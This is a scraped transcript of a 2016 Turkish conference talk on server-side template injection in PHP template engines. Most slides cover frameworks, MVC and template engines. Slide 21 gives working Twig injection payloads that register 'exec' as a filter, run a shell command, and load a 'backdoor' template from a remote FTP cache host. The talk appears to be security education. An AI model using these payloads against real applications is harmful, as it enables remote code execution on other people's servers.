web Çatı Şablonlarının güvenliği (ssti)...web Çatı Şablonlarının güvenliği (ssti)...

24
Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - www.ozgurwebgunleri.org.tr www.omercitak.com

Upload: others

Post on 03-Jun-2020

7 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

Web Çatı Şablonlarının Güvenliği (SSTI)

Ömer Çıtak

Özgür Web Teknolojileri Günleri 2016 - www.ozgurwebgunleri.org.tr

www.omercitak.com

Page 2: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

whoamiSecurity Researcher @ Netsparker Ltd.

Developer @ Geri kalan zamanlarda

Writer @ Ethical Hacking “Offensive & Defensive” Book

Blog: omercitak.com

All Social Platform: @Om3rCitak

Page 3: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

quesitions1. Asp.net or PHP?

Page 4: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

quesitions1. Asp.net or PHP?

2. Asp or Laravel?

Page 5: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

quesitions1. Asp.net or PHP?

2. Asp or Laravel?

3. Laravel or Smarty?

Page 6: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

quesitions1. Asp.net or PHP?

2. Asp or Laravel?

3. Laravel or Smarty?

4. Smarty or Asp?

Page 7: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

quesitions1. Asp.net or PHP?

2. Asp or Laravel?

3. Laravel or Smarty?

4. Smarty or Asp?

Page 8: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

why using framework?

Page 9: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

why using framework?● Spaghetti Code (functions.php) :P

Page 10: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

why using framework?● Spaghetti Code (functions.php) :P

● Enforcing Coding Standart

Page 11: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

why using framework?● Spaghetti Code (functions.php) :P

● Enforcing Coding Standart

● Pretty URLs

Page 12: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

why using framework?● Spaghetti Code (functions.php) :P

● Enforcing Coding Standart

● Pretty URLs

● Much of the code in less time

Page 13: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

why using framework?● Spaghetti Code (functions.php) :P

● Enforcing Coding Standart

● Pretty URLs

● Much of the code in less time

● MVC or other models

Page 14: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

why using framework?

Page 15: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

what is the MVC?

Page 16: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

what is the MVC?

Page 17: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

what is the MVC?

Page 18: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

what is the VIEW layer?

Page 19: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

what is the VIEW layer?Template Engines;

● Twig● Smarty● Blade● Volt● Mustache● etc...

Page 20: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

twig● registerUndefinedFilterCallback(“function_name”)

● getFilter(“filter”)

● setCache(“ftp://omercitak.com:21”)

● loadTemplate(“backdoor”)

Page 21: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

exploit● {{_self.env.registerUndefinedFilterCallback(“exec”)}}

● {{_self.env.getFilter(“ls”)}}

● {{_self.env.setCache(“ftp://omercitak.com:21”)}}

● {{_self.env.loadTemplate(“backdoor”)}}

Page 22: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

demo

Page 23: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

questions

Page 24: Web Çatı Şablonlarının Güvenliği (SSTI)...Web Çatı Şablonlarının Güvenliği (SSTI) Ömer Çıtak Özgür Web Teknolojileri Günleri 2016 - whoami Security Researcher @

thanks

www.omercitak.com

All Social Platform: @Om3rCitak